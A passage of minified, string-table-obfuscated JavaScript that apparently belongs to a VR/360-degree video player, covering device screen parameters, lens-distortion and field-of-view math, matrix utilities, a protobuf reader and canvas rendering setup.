r[53],rules:[{ua:r[127]}],dpi:[428.6,425.7],bw:3,ac:1e3},{type:r[53],rules:[{ua:r[128]}],dpi:[403.4,401.9],bw:3,ac:1e3},{type:r[53],rules:[{ua:r[129]}],dpi:[224.7,224.1],bw:3,ac:500},{type:r[53],rules:[{ua:r[130]}],dpi:[240,247.5],bw:3,ac:1e3},{type:r[53],rules:[{ua:r[131]}],dpi:[480,443.3],bw:3,ac:1e3},{type:r[53],rules:[{ua:r[132]}],dpi:240,bw:3,ac:500},{type:r[133],rules:[{res:[640,960]}],dpi:[325.1,328.4],bw:4,ac:1e3},{type:r[133],rules:[{res:[640,960]}],dpi:[325.1,328.4],bw:4,ac:1e3},{type:r[133],rules:[{res:[640,1136]}],dpi:[317.1,320.2],bw:3,ac:1e3},{type:r[133],rules:[{res:[640,1136]}],dpi:[317.1,320.2],bw:3,ac:1e3},{type:r[133],rules:[{res:[750,1334]}],dpi:326.4,bw:4,ac:1e3},{type:r[133],rules:[{res:[750,1334]}],dpi:326.4,bw:4,ac:1e3},{type:r[133],rules:[{res:[1242,2208]}],dpi:[453.6,458.4],bw:4,ac:1e3},{type:r[133],rules:[{res:[1242,2208]}],dpi:[453.6,458.4],bw:4,ac:1e3}];i=function(){function n(t){this[r[134]]=t[r[134]]||n[r[135]]();this[r[136]]=t[r[136]]||n[r[137]]();this[r[138]]=t[r[138]];this[r[139]]=t[r[139]];this[r[140]]=t[r[140]]}return n[r[141]]=function(){return/iPad|iPhone|iPod/[r[143]](navigator[r[142]])},n[r[135]]=function(){return Math[r[145]](window[r[144]][r[134]],window[r[144]][r[136]])*window[r[146]]},n[r[137]]=function(){return Math[r[147]](window[r[144]][r[134]],window[r[144]][r[136]])*window[r[146]]},n[r[148]]=function(t){for(var i,l,s,a,v,y,p=navigator[r[149]]||navigator[r[22]]||window[r[150]],h=n[r[135]](),c=n[r[137]](),o=0;o<u[r[5]];o++)if(i=u[o],i[r[151]])if(r[133]===i[r[152]]||r[53]===i[r[152]]){if(n[r[141]]()===(r[133]===i[r[152]])){for(l=!1,s=0;s<i[r[151]][r[5]];s++)if(a=i[r[151]][s],n[r[153]](a,p,h,c)){t[r[156]](r[154]+JSON[r[155]](a));l=!0;break}if(l)return v=.0254,y={width:h,height:c,widthMeters:v/(i[r[157]][0]||i[r[157]])*h,heightMeters:v/(i[r[157]][1]||i[r[157]])*c,bevelMeters:.001*i[r[158]]},t[r[156]](r[159]+JSON[r[155]](y)),new n(y)}}else t[r[156]](r[160]+o+r[161]);else t[r[156]](r[160]+o+r[162]);return n[r[141]]()?(t[r[156]](r[163]),e):(t[r[156]](r[164]),f)},n[r[153]]=function(n,t,i,u){if(!n[r[165]]&&!n[r[166]]||n[r[165]]&&t[r[167]](n[r[165]])<0)return!1;if(n[r[166]]){if(!n[r[166]][0]||!n[r[166]][1])return!1;var f=n[r[166]][0],e=n[r[166]][1];if(Math[r[147]](i,u)!==Math[r[147]](f,e)||Math[r[145]](i,u)!==Math[r[145]](f,e))return!1}return!0},n}();t[r[52]]=i;f=new i({widthMeters:.11,heightMeters:.062,bevelMeters:.004});e=new i({widthMeters:.1038,heightMeters:.0584,bevelMeters:.004})},8945:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[168]]=void 0;var f=i(40829),u=i(83549),e=i(39891),o=function(){function n(n,t){this[r[169]]=new e[r[42]](n);this[r[170]]=f[r[52]][r[148]](t)}return n[r[172]][r[171]]=function(){return this[r[170]]},n[r[172]][r[173]]=function(n){this[r[169]]=n},n[r[172]][r[174]]=function(){var n=this[r[169]][r[47]],t=this[r[169]][r[48]],f=(this[r[170]][r[138]]-this[r[169]][r[45]])/2,e=this[r[169]][r[45]]/2,i=this[r[169]][r[46]]-this[r[170]][r[140]],o=this[r[170]][r[139]]-i,s=u[r[178]][r[177]](Math[r[176]](t[r[175]](f/n))),h=u[r[178]][r[177]](Math[r[176]](t[r[175]](e/n))),c=u[r[178]][r[177]](Math[r[176]](t[r[175]](i/n))),l=u[r[178]][r[177]](Math[r[176]](t[r[175]](o/n)));return{leftDegrees:Math[r[147]](s,this[r[169]][r[44]]),rightDegrees:Math[r[147]](h,this[r[169]][r[44]]),downDegrees:Math[r[147]](c,this[r[169]][r[44]]),upDegrees:Math[r[147]](l,this[r[169]][r[44]])}},n[r[172]][r[179]]=function(){var t=this[r[169]][r[48]],h=Math[r[181]](-u[r[178]][r[180]](this[r[169]][r[44]])),c=Math[r[181]](u[r[178]][r[180]](this[r[169]][r[44]])),l=Math[r[181]](u[r[178]][r[180]](this[r[169]][r[44]])),a=Math[r[181]](-u[r[178]][r[180]](this[r[169]][r[44]])),f=this[r[170]][r[138]]/4,e=this[r[170]][r[139]]/2,v=this[r[169]][r[46]]-this[r[170]][r[140]]-e,o=this[r[169]][r[45]]/2-f,s=-v,i=this[r[169]][r[47]],y=t[r[175]]((o-f)/i),p=t[r[175]]((s+e)/i),w=t[r[175]]((o+f)/i),b=t[r[175]]((s-e)/i),n=new Float32Array(4);return n[0]=Math[r[145]](h,y),n[1]=Math[r[147]](c,p),n[2]=Math[r[147]](l,w),n[3]=Math[r[145]](a,b),n},n[r[172]][r[182]]=function(){var t=this[r[169]][r[48]],n=new Float32Array(4),h=t[r[183]](Math[r[181]](-u[r[178]][r[180]](this[r[169]][r[44]]))),c=t[r[183]](Math[r[181]](u[r[178]][r[180]](this[r[169]][r[44]]))),l=t[r[183]](Math[r[181]](u[r[178]][r[180]](this[r[169]][r[44]]))),a=t[r[183]](Math[r[181]](-u[r[178]][r[180]](this[r[169]][r[44]]))),f=this[r[170]][r[138]]/4,e=this[r[170]][r[139]]/2,v=this[r[169]][r[46]]-this[r[170]][r[140]]-e,o=this[r[169]][r[45]]/2-f,s=-v,i=this[r[169]][r[47]],y=(o-f)/i,p=(s+e)/i,w=(o+f)/i,b=(s-e)/i;return n[0]=Math[r[145]](h,y),n[1]=Math[r[147]](c,p),n[2]=Math[r[147]](l,w),n[3]=Math[r[145]](a,b),n},n[r[172]][r[184]]=function(n){var t=this[r[169]][r[47]],i=(this[r[170]][r[138]]-this[r[169]][r[45]])/2,u=this[r[169]][r[46]]-this[r[170]][r[140]],f=(n[0]*t+i)/this[r[170]][r[138]],o=(n[1]*t+u)/this[r[170]][r[139]],s=(n[2]*t+i)/this[r[170]][r[138]],e=(n[3]*t+u)/this[r[170]][r[139]];return{x:f,y:e,width:s-f,height:o-e}},n[r[172]][r[185]]=function(n){return n?this[r[186]]():this[r[174]]()},n[r[172]][r[187]]=function(n){var t=this[r[185]](n);return{leftDegrees:t[r[188]],rightDegrees:t[r[189]],downDegrees:t[r[190]],upDegrees:t[r[191]]}},n[r[172]][r[186]]=function(){var n=this[r[192]]();return{leftDegrees:u[r[178]][r[177]](Math[r[176]](n[r[193]])),rightDegrees:u[r[178]][r[177]](Math[r[176]](n[r[194]])),downDegrees:u[r[178]][r[177]](Math[r[176]](n[r[195]])),upDegrees:u[r[178]][r[177]](Math[r[176]](n[r[196]]))}},n[r[172]][r[197]]=function(){var n=this[r[192]](),t=this[r[169]][r[47]],o=this[r[170]][r[138]]/t,s=this[r[170]][r[139]]/t,i=this[r[170]][r[134]]/o,u=this[r[170]][r[136]]/s,f=Math[r[199]]((n[r[198]]-n[r[193]])*i),e=Math[r[199]]((n[r[200]]-n[r[195]])*u);return{x:f,y:e,width:Math[r[199]]((n[r[198]]+n[r[194]])*i)-f,height:Math[r[199]]((n[r[200]]+n[r[196]])*u)-e}},n[r[172]][r[192]]=function(){var o=this[r[169]][r[48]],n=this[r[169]][r[47]],f=this[r[169]][r[45]]/2/n,s=this[r[170]][r[138]]/n,h=this[r[170]][r[139]]/n,e=s/2-f,i=(this[r[169]][r[46]]-this[r[170]][r[140]])/n,c=this[r[169]][r[44]],t=o[r[183]](Math[r[181]](u[r[178]][r[180]](c))),l=Math[r[147]](e,t),a=Math[r[147]](f,t),v=Math[r[147]](i,t);return{outerDist:l,innerDist:a,topDist:Math[r[147]](h-i,t),bottomDist:v,eyePosX:e,eyePosY:i}},n}();t[r[168]]=o},31444:function(n,t){r[0];Object[r[2]](t,r[1],{value:!0});t[r[49]]=void 0;var i=function(){function n(n){this[r[201]]=n}return n[r[172]][r[183]]=function(n){for(var u,e,i=0,t=1,f=n-this[r[175]](i);Math[r[202]](t-i)>.0001;)u=n-this[r[175]](t),e=t-u*((t-i)/(u-f)),i=t,t=e,f=u;return t},n[r[172]][r[175]]=function(n){for(var u=n*n,t=0,i=this[r[201]][r[5]]-1;i>=0;i--)t=u*(t+this[r[201]][i]);return(t+1)*n},n[r[203]]=function(n,t){for(var u,f,e=n[r[5]],s,o,h,i=0;i<e-1;++i)for(f=i+1;f<e;++f){for(s=n[i][f]/n[i][i],u=i+1;u<e;++u)n[u][f]-=s*n[u][i];t[f]-=s*t[i]}for(o=new Array(e),i=e-1;i>=0;--i){for(h=t[i],u=i+1;u<e;++u)h-=n[u][i]*o[u];o[i]=h/n[i][i]}return o},n[r[204]]=function(t,i){var u,f,e,o,s=t[r[5]],c=t[0][r[5]],h,l;if(c!==i[r[5]])throw new Error(r[205]);for(h=new Array(s),e=0;e<s;++e)for(h[e]=new Array(s),f=0;f<s;++f){for(o=0,u=0;u<c;++u)o+=t[f][u]*t[e][u];h[e][f]=o}for(l=new Array(s),f=0;f<s;++f){for(o=0,u=0;u<c;++u)o+=t[f][u]*i[u];l[f]=o}return n[r[203]](h,l)},n[r[172]][r[51]]=function(t,i){var f,u,e,s;for(t=t||1,i=i||100,e=new Array(12),u=0;u<12;++u)e[u]=new Array(i);for(s=new Array(i),f=0;f<i;++f){var h=t*(f+1)/i,o=this[r[175]](h),c=o;for(u=0;u<12;++u)c*=o*o,e[u][f]=c;s[f]=h-o}return n[r[204]](e,s)},n}();t[r[49]]=i},83549:function(n,t){var u,f,i,e;r[0];Object[r[2]](t,r[1],{value:!0});t[r[206]]=t[r[207]]=t[r[208]]=t[r[178]]=void 0;u=function(){function n(){}return n[r[180]]=function(n){return n*Math[r[209]]/180},n[r[177]]=function(n){return 180*n/Math[r[209]]},n[r[210]]=function(n,t){return Math[r[211]](n*n+t*t)},n[r[212]]=function(n){return n[r[5]]>0?n[r[213]](function(n,t){return n+t},0):0},n[r[214]]=function(t){return t[r[5]]>0?n[r[212]](t)/t[r[5]]:1/0},n[r[215]]=function(n){return Math[r[215]]&&Math[r[215]](n)||(n>0?1:n<0?-1:0)},n}();t[r[178]]=u;f=function(){function n(){}return n[r[216]]=function(){var n;return(n=r[217]!=typeof Float32Array?new Float32Array(16):new Array(16))[0]=1,n[1]=0,n[2]=0,n[3]=0,n[4]=0,n[5]=1,n[6]=0,n[7]=0,n[8]=0,n[9]=0,n[10]=1,n[11]=0,n[12]=0,n[13]=0,n[14]=0,n[15]=1,n},n[r[218]]=function(n){return n[0]=1,n[1]=0,n[2]=0,n[3]=0,n[4]=0,n[5]=1,n[6]=0,n[7]=0,n[8]=0,n[9]=0,n[10]=1,n[11]=0,n[12]=0,n[13]=0,n[14]=0,n[15]=1,n},n[r[219]]=function(n,t,i){var s,d,o,g,nt,tt,it,rt,ut,ft,et,ot,st,ht,ct,h,c,l,a,v,y,p,w,b,u=i[0],f=i[1],e=i[2],k=Math[r[211]](u*u+f*f+e*e);return Math[r[202]](k)<1e-6?null:(u*=k=1/k,f*=k,e*=k,s=Math[r[220]](t),o=1-(d=Math[r[221]](t)),g=n[0],nt=n[1],tt=n[2],it=n[3],rt=n[4],ut=n[5],ft=n[6],et=n[7],ot=n[8],st=n[9],ht=n[10],ct=n[11],h=u*u*o+d,c=f*u*o+e*s,l=e*u*o-f*s,a=u*f*o-e*s,v=f*f*o+d,y=e*f*o+u*s,p=u*e*o+f*s,w=f*e*o-u*s,b=e*e*o+d,n[0]=g*h+rt*c+ot*l,n[1]=nt*h+ut*c+st*l,n[2]=tt*h+ft*c+ht*l,n[3]=it*h+et*c+ct*l,n[4]=g*a+rt*v+ot*y,n[5]=nt*a+ut*v+st*y,n[6]=tt*a+ft*v+ht*y,n[7]=it*a+et*v+ct*y,n[8]=g*p+rt*w+ot*b,n[9]=nt*p+ut*w+st*b,n[10]=tt*p+ft*w+ht*b,n[11]=it*p+et*w+ct*b,n)},n[r[222]]=function(n,t,i){var o=t[0],s=t[1],h=t[2],c=t[3],l=t[4],a=t[5],v=t[6],y=t[7],p=t[8],w=t[9],b=t[10],k=t[11],d=t[12],g=t[13],nt=t[14],tt=t[15],r=i[0],u=i[1],f=i[2],e=i[3];return n[0]=r*o+u*l+f*p+e*d,n[1]=r*s+u*a+f*w+e*g,n[2]=r*h+u*v+f*b+e*nt,n[3]=r*c+u*y+f*k+e*tt,r=i[4],u=i[5],f=i[6],e=i[7],n[4]=r*o+u*l+f*p+e*d,n[5]=r*s+u*a+f*w+e*g,n[6]=r*h+u*v+f*b+e*nt,n[7]=r*c+u*y+f*k+e*tt,r=i[8],u=i[9],f=i[10],e=i[11],n[8]=r*o+u*l+f*p+e*d,n[9]=r*s+u*a+f*w+e*g,n[10]=r*h+u*v+f*b+e*nt,n[11]=r*c+u*y+f*k+e*tt,r=i[12],u=i[13],f=i[14],e=i[15],n[12]=r*o+u*l+f*p+e*d,n[13]=r*s+u*a+f*w+e*g,n[14]=r*h+u*v+f*b+e*nt,n[15]=r*c+u*y+f*k+e*tt,n},n[r[223]]=function(n,t,i,u,f){var e=1/Math[r[181]](t/2),o=1/(u-f);return n[0]=e/i,n[1]=0,n[2]=0,n[3]=0,n[4]=0,n[5]=e,n[6]=0,n[7]=0,n[8]=0,n[9]=0,n[10]=(f+u)*o,n[11]=-1,n[12]=0,n[13]=0,n[14]=2*f*u*o,n[15]=0,n},n[r[224]]=function(n,t){var r=t[0],u=t[1],f=t[2],e=t[3],o=t[4],s=t[5],h=t[6],c=t[7],l=t[8],a=t[9],v=t[10],y=t[11],p=t[12],w=t[13],b=t[14],k=t[15],d=r*s-u*o,g=r*h-f*o,nt=r*c-e*o,tt=u*h-f*s,it=u*c-e*s,rt=f*c-e*h,ut=l*w-a*p,ft=l*b-v*p,et=l*k-y*p,ot=a*b-v*w,st=a*k-y*w,ht=v*k-y*b,i=d*ht-g*st+nt*ot+tt*et-it*ft+rt*ut;return i?(i=1/i,n[0]=(s*ht-h*st+c*ot)*i,n[1]=(f*st-u*ht-e*ot)*i,n[2]=(w*rt-b*it+k*tt)*i,n[3]=(v*it-a*rt-y*tt)*i,n[4]=(h*et-o*ht-c*ft)*i,n[5]=(r*ht-f*et+e*ft)*i,n[6]=(b*nt-p*rt-k*g)*i,n[7]=(l*rt-v*nt+y*g)*i,n[8]=(o*st-s*et+c*ut)*i,n[9]=(u*et-r*st-e*ut)*i,n[10]=(p*it-w*nt+k*d)*i,n[11]=(a*nt-l*it-y*d)*i,n[12]=(s*ft-o*ot-h*ut)*i,n[13]=(r*ot-u*ft+f*ut)*i,n[14]=(w*g-p*tt-b*d)*i,n[15]=(l*tt-a*g+v*d)*i,n):null},n}();t[r[208]]=f;i=function(){function n(){}return n[r[216]]=function(){var n;return(n=r[217]!=typeof Float32Array?new Float32Array(3):new Array(3))[0]=0,n[1]=0,n[2]=0,n},n}();t[r[207]]=i;e=function(){function n(){}return n[r[216]]=function(){var n;return(n=r[217]!=typeof Float32Array?new Float32Array(4):new Array(4))[0]=0,n[1]=0,n[2]=0,n[3]=1,n},n[r[225]]=function(n,t,i,u){var f;return(f=r[217]!=typeof Float32Array?new Float32Array(4):new Array(4))[0]=n,f[1]=t,f[2]=i,f[3]=u,f},n[r[222]]=function(n,t,i){var r=t[0],u=t[1],f=t[2],e=t[3],o=i[0],s=i[1],h=i[2],c=i[3];return n[0]=r*c+e*o+u*h-f*s,n[1]=u*c+e*s+f*o-r*h,n[2]=f*c+e*h+r*s-u*o,n[3]=e*c-r*o-u*s-f*h,n},n[r[226]]=function(n){var t=i[r[216]](),e=n[0]*n[0],o=n[1]*n[1],f=n[2]*n[2],u=n[0]*n[1]+n[2]*n[3];return u>.499?(t[2]=2*Math[r[227]](n[0],n[3]),t[0]=Math[r[209]]/2,t[1]=0):u<-.499?(t[2]=-2*Math[r[227]](n[0],n[3]),t[0]=-Math[r[209]]/2,t[1]=0):(t[2]=Math[r[227]](2*n[1]*n[3]-2*n[0]*n[2],1-2*o-2*f),t[0]=Math[r[228]](2*u),t[1]=Math[r[227]](2*n[0]*n[3]-2*n[1]*n[2],1-2*e-2*f)),{yaw:180*t[2]/Math[r[209]],pitch:180*t[1]/Math[r[209]],roll:180*t[0]/Math[r[209]]}},n}();t[r[206]]=e},72532:function(n,t){r[0];Object[r[2]](t,r[1],{value:!0});t[r[21]]=void 0;var i=function(){function n(n,t){this[r[229]]=n;this[r[20]]=t;this[r[230]]=0;this[r[231]]=new DataView(this[r[229]][r[229]],0,this[r[229]][r[5]])}return n[r[172]][r[232]]=function(){for(var t=0,n=0;this[r[230]]<this[r[229]][r[5]]&&(t|=(127&this[r[229]][this[r[230]]])<<n,0!=(128&this[r[229]][this[r[230]]]));this[r[230]]++)n+=7;return this[r[230]]++,t},n[r[172]][r[233]]=function(){var n=this[r[232]]();return{tag:n>>>3,type:7&n}},n[r[172]][r[234]]=function(){for(var t,e,s,o,f=this[r[232]](),u=new Array(f),i=0,n=this[r[230]];n<this[r[230]]+f;n++)if(t=this[r[229]][n],t<128)u[i++]=t;else if(t>=192&&t<224&&n+1<f)u[i++]=(31&t)<<6|63&this[r[229]][++n];else if(t>=224&&t<240&&n+2<f)u[i++]=(15&t)<<12|(63&this[r[229]][++n])<<6|63&this[r[229]][++n];else{if(!(t>=240&&t<248&&n+3<f))throw new Error(r[235]+n);e=(7&t)<<18|(63&this[r[229]][++n])<<12|(63&this[r[229]][++n])<<6|63&this[r[229]][++n];e<=65535?u[i++]=e:(e^=65536,u[i++]=55296|e>>10,u[i++]=56320|1023&e)}for(s=r[11],o=16384,n=0;n<i;n+=o)s+=String[r[238]][r[237]](String,u[r[236]](n,n+o<=i?n+o:i));return this[r[230]]+=f,s},n[r[172]][r[239]]=function(n){var u=this[r[232]](),t=[],i,f;switch(n){case r[26]:for(i=0;i<u/4;i++)t[r[241]](this[r[231]][r[240]](this[r[230]],!0)),this[r[230]]+=4;break;case r[242]:for(f=this[r[230]];this[r[230]]<f+u;)t[r[241]](this[r[232]]())}return t},n[r[172]][r[243]]=function(n){for(var t=0,i=0;i<n;i++)t=(t<<8)+this[r[229]][this[r[230]]+i],this[r[230]]++;return t},n[r[172]][r[244]]=function(){var n=this[r[231]][r[240]](this[r[230]],!0);return this[r[230]]+=4,n},n[r[172]][r[245]]=function(){return this[r[243]](8)},n[r[172]][r[246]]=function(n){var t;switch(n){case 0:t=this[r[232]]();break;case 1:t=this[r[245]]();break;case 2:t=this[r[234]]();break;case 5:t=this[r[244]]()}return t},n[r[172]][r[19]]=function(){for(var u,n,i,f,t={};this[r[230]]<this[r[229]][r[5]];)u=this[r[233]](),n=void 0,this[r[20]][r[248]](u[r[247]])&&((n=this[r[20]][u[r[247]]],2===u[r[152]]&&n&&n[r[248]](r[249])&&n[r[249]])?t[n[r[250]]]=this[r[239]](n[r[152]]):(i=this[r[246]](u[r[152]]),r[36]===n[r[152]]?i=!!i:r[251]==typeof n[r[152]]&&(i=n[r[152]][i]),t[n[r[250]]]=i));if(t[r[5]]>0)for(f in this[r[20]][r[252]])this[r[20]][r[252]][r[248]](f)&&void 0===t[f]&&(t[f]=this[r[20]][r[252]][f]);return t},n}();t[r[21]]=i},29328:function(n,t){var i,u,f;r[0];Object[r[2]](t,r[1],{value:!0});t[r[253]]=t[r[254]]=t[r[255]]=void 0,function(n){n[r[256]]=r[257];n[r[258]]=r[259];n[r[260]]=r[261]}(i||(t[r[255]]=i={})),function(n){n[r[262]]=r[263];n[r[264]]=r[265];n[r[266]]=r[267];n[r[268]]=r[269]}(u||(t[r[254]]=u={})),function(n){n[r[270]]=r[38];n[r[271]]=r[272];n[r[273]]=r[274];n[r[275]]=r[276]}(f||(t[r[253]]=f={}))},27523:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[277]]=void 0;var h=i(52241),c=i(8945),l=i(63546),a=i(35148),v=i(4006),f=i(62510),s=i(33696),o=i(13533),e=i(46462),u=i(29328),y=i(33083),p=i(41205),w=function(){function n(t,i,s,w,b,k,d,g){var nt=this,rt,ut,it,tt;this[r[278]]=null;this[r[279]]=null;this[r[280]]=null;this[r[281]]=null;this[r[282]]=u[r[254]][r[268]];this[r[283]]=null;this[r[284]]=!1;this[r[285]]=!1;this[r[286]]=null;this[r[287]]=null;this[r[288]]=null;this[r[289]]=!1;this[r[290]]=function(){nt[r[291]]=!0};this[r[292]]=function(n){if(nt[r[282]]!==u[r[254]][r[264]])return nt[r[293]]&&Boolean(nt[r[295]][r[294]])&&nt[r[295]][r[294]](),void(nt[r[293]]=!1);nt[r[296]]();nt[r[285]]!==nt[r[284]]&&(nt[r[300]][r[299]]()(f[r[298]][r[297]],{stereo:nt[r[284]]}),nt[r[285]]=nt[r[284]]);var i=nt[r[287]][r[301]](n),t=!nt[r[289]]||nt[r[291]]||0===n;t||i||0===n||nt[r[302]]?(nt[r[303]]&&Boolean(nt[r[295]][r[304]])&&nt[r[295]][r[304]](),!nt[r[293]]&&Boolean(nt[r[295]][r[305]])&&nt[r[295]][r[305]](),nt[r[286]][r[307]](nt[r[287]][r[306]](),t),nt[r[303]]=!1,nt[r[293]]=!0):(nt[r[293]]&&Boolean(nt[r[295]][r[294]])&&nt[r[295]][r[294]](),nt[r[293]]=!1);null===nt[r[283]]&&(nt[r[280]]=requestAnimationFrame(nt[r[292]]));nt[r[291]]=!1;nt[r[302]]=!1};this[r[308]]=function(){nt[r[311]]()[r[310]](e[r[309]][r[265]],nt[r[308]]);nt[r[311]]()[r[310]](e[r[309]][r[312]],nt[r[308]]);nt[r[282]]===u[r[254]][r[262]]&&(nt[r[296]](),nt[r[282]]=u[r[254]][r[264]],nt[r[280]]=requestAnimationFrame(nt[r[292]]))};this[r[313]]=function(n){nt[r[282]]=u[r[254]][r[266]];nt[r[283]]=n;nt[r[314]]();nt[r[280]]&&(cancelAnimationFrame(nt[r[280]]),nt[r[280]]=null);nt[r[300]][r[299]]()(f[r[298]][r[315]],new l[r[318]](a[r[317]][r[316]]));nt[r[320]][r[156]](r[319]+n)};this[r[321]]=function(){return nt[r[287]][r[321]](),!0};this[r[322]]=function(){return nt[r[287]][r[322]](),!0};this[r[323]]=function(){return nt[r[287]][r[323]]()};this[r[324]]=function(){return nt[r[287]][r[324]](),!0};this[r[325]]=function(){return nt[r[287]][r[325]](),!0};this[r[326]]=function(){return nt[r[287]][r[326]]()};this[r[327]]=function(){return nt[r[287]][r[327]](),!0};this[r[328]]=function(){return nt[r[287]][r[328]](),!0};this[r[329]]=function(){return nt[r[287]][r[329]]()};this[r[330]]=function(n){return!!nt[r[287]]&&(nt[r[287]][r[330]](n),!0)};this[r[331]]=function(){nt[r[289]]=!0};this[r[332]]=function(){var n=nt[r[311]]();4!==n[r[333]]?n[r[334]](e[r[309]][r[265]],function(){return nt[r[289]]=!1}):nt[r[289]]=!1};this[r[335]]=function(){nt[r[300]][r[336]](f[r[298]][r[264]],nt[r[332]]);nt[r[300]][r[336]](f[r[298]][r[337]],nt[r[331]]);nt[r[300]][r[336]](f[r[298]][r[338]],nt[r[335]]);nt[r[300]][r[336]](f[r[298]][r[339]],nt[r[335]]);nt[r[300]]=null;var n=nt[r[311]]();nt[r[340]]&&nt[r[340]][r[310]](e[r[309]][r[312]],nt[r[290]]);nt[r[314]]();nt[r[278]]&&nt[r[278]][r[341]]&&(nt[r[278]][r[341]][r[342]](nt[r[278]]),nt[r[278]]=null);nt[r[279]]&&nt[r[279]][r[341]]&&(nt[r[279]][r[341]][r[342]](nt[r[279]]),nt[r[279]]=null);nt[r[281]]&&nt[r[281]][r[341]]&&(nt[r[281]][r[341]][r[342]](nt[r[281]]),nt[r[281]]=null);nt[r[282]]=u[r[254]][r[268]];nt[r[280]]&&(cancelAnimationFrame(nt[r[280]]),nt[r[280]]=null);nt[r[287]]&&nt[r[287]][r[335]]();nt[r[287]]=null;nt[r[286]][r[335]]();nt[r[286]]=null;n[r[310]](e[r[309]][r[265]],nt[r[308]]);n[r[310]](e[r[309]][r[312]],nt[r[308]])};this[r[300]]=t[r[300]];this[r[340]]=t[r[343]];this[r[344]]=w;this[r[345]]=t[r[346]];this[r[347]]=i;this[r[348]]=s;this[r[295]]=g;this[r[320]]=b;this[r[349]]=k;this[r[350]]=t[r[353]][r[352]][r[351]];this[r[354]]=d;this[r[291]]=!1;this[r[302]]=!1;this[r[293]]=!1;this[r[303]]=!0;this[r[278]]=document[r[355]](r[278]);this[r[278]][r[357]](r[347],r[356]);this[r[278]][r[359]][r[358]]=r[38];this[r[278]][r[359]][r[360]]=r[361];rt=this[r[345]][r[365]](v[r[363]][r[362]]+r[364])[0];rt?this[r[345]][r[366]](this[r[278]],rt):this[r[345]][r[367]](this[r[278]]);ut=t[r[353]][r[352]][r[368]];(n[r[369]](k,this[r[350]],ut)?this[r[320]][r[156]](r[370]):(this[r[279]]=document[r[355]](r[278]),this[r[279]][r[357]](r[347],r[371]),this[r[279]][r[359]][r[358]]=r[38],this[r[279]][r[359]][r[360]]=r[361],this[r[345]][r[366]](this[r[279]],this[r[278]]),this[r[320]][r[156]](r[372])),o[r[374]]()[r[373]]&&(this[r[340]][r[357]](r[375],r[11]),this[r[340]][r[357]](r[376],r[11]),this[r[320]][r[156]](r[377])),this[r[281]]=document[r[379]](r[378]),this[r[281]]||(this[r[281]]=document[r[355]](r[359]),this[r[281]][r[357]](r[347],r[378]),this[r[281]][r[367]](document[r[381]](r[380])),document[r[383]](r[382])[0][r[367]](this[r[281]])),this[r[284]]=this[r[348]][r[284]],this[r[285]]=this[r[284]],this[r[348]][r[384]]?this[r[320]][r[156]](r[385]):this[r[340]][r[334]](e[r[309]][r[312]],this[r[290]]),r[23]==typeof this[r[348]][r[386]])&&(it=h[r[17]][r[18]](this[r[348]][r[386]]),this[r[320]][r[156]](r[387]+JSON[r[155]](it)),it[r[248]](r[34])&&(this[r[288]]=new c[r[168]](it,this[r[320]])));this[r[282]]=u[r[254]][r[262]];this[r[287]]=new y[r[388]](this[r[278]],this[r[345]],this[r[348]],this[r[295]],this[r[300]]);this[r[286]]=new p[r[389]](this[r[278]],this[r[279]],t,this[r[288]],this[r[313]],this[r[320]],this[r[354]],this[r[348]],this[r[295]]);this[r[300]][r[390]](f[r[298]][r[264]],this[r[332]]);this[r[300]][r[390]](f[r[298]][r[337]],this[r[331]]);this[r[300]][r[390]](f[r[298]][r[338]],this[r[335]]);this[r[300]][r[390]](f[r[298]][r[339]],this[r[335]]);this[r[391]]();this[r[296]]();tt=this[r[311]]();4!==tt[r[333]]&&tt[r[392]]?(tt[r[334]](e[r[309]][r[265]],this[r[308]]),tt[r[334]](e[r[309]][r[312]],this[r[308]])):this[r[308]]()}return n[r[172]][r[311]]=function(){return this[r[348]][r[384]]&&this[r[344]]?this[r[344]]:this[r[340]]},n[r[172]][r[296]]=function(){var f,e,n,t;if(this[r[278]]){this[r[345]]&&this[r[345]][r[393]]&&this[r[345]][r[394]]?(f=this[r[345]][r[393]],e=this[r[345]][r[394]]):(f=window[r[395]],e=window[r[396]]);this[r[340]]&&this[r[340]][r[397]]&&this[r[340]][r[398]]?(n=this[r[340]][r[397]],t=this[r[340]][r[398]]):(n=f,t=e);var o=(this[r[349]][r[146]]||1)/this[r[286]][r[399]](),i=f*o,u=e*o,s=i/u;i>n&&(u=(i=n)/s);u>t&&(i=(u=t)*s);this[r[278]][r[134]]===i&&this[r[278]][r[136]]===u||(this[r[278]][r[134]]=i,this[r[278]][r[136]]=u);!this[r[279]]||this[r[279]][r[134]]===n&&this[r[279]][r[136]]===t||(this[r[279]][r[134]]=n,this[r[279]][r[136]]=t)}},n[r[172]][r[391]]=function(){this[r[278]]&&(this[r[278]][r[359]][r[358]]=r[400]);this[r[279]]&&(this[r[279]][r[359]][r[358]]=r[400]);this[r[340]]&&(this[r[340]][r[359]][r[358]]=r[38])},n[r[172]][r[314]]=function(){this[r[278]]&&(this[r[278]][r[359]][r[358]]=r[38]);this[r[279]]&&(this[r[279]][r[359]][r[358]]=r[38]);this[r[340]]&&this[r[340]][r[359]]&&(this[r[340]][r[359]][r[358]]=r[400])},n[r[369]]=function(n,t,i){var e=n[r[401]],h=n[r[149]],c=n[r[402]],f=o[r[374]]()[r[403]],l=(f[r[404]]>10||10===f[r[404]]&&f[r[405]]>=1)&&!o[r[374]]()[r[373]],u=-1;return!(t===s[r[407]][r[406]]&&i===s[r[409]][r[408]]&&!l)&&(r[410]===e?null!==new RegExp(r[412])[r[411]](h)&&(u=parseFloat(RegExp[r[413]])):r[414]===e&&(-1!==c[r[167]](r[415])?u=11:null!==new RegExp(r[416])[r[411]](h)&&(u=parseFloat(RegExp[r[413]]))),-1===u||u>=13)},n[r[172]][r[417]]=function(n){return this[r[302]]=this[r[284]]!==n,this[r[284]]=n,this[r[284]]?(this[r[286]][r[418]](),this[r[287]][r[418]]()):(this[r[286]][r[419]](),this[r[287]][r[419]]()),!0},n[r[172]][r[420]]=function(){return this[r[284]]},n[r[172]][r[421]]=function(){return this[r[282]]===u[r[254]][r[262]]?u[r[254]][r[262]]:this[r[282]]===u[r[254]][r[264]]?u[r[254]][r[264]]:this[r[282]]===u[r[254]][r[266]]?u[r[254]][r[266]]:this[r[282]]===u[r[254]][r[268]]?null:void 0},n[r[172]][r[422]]=function(){return this[r[283]]},n[r[172]][r[423]]=function(){return 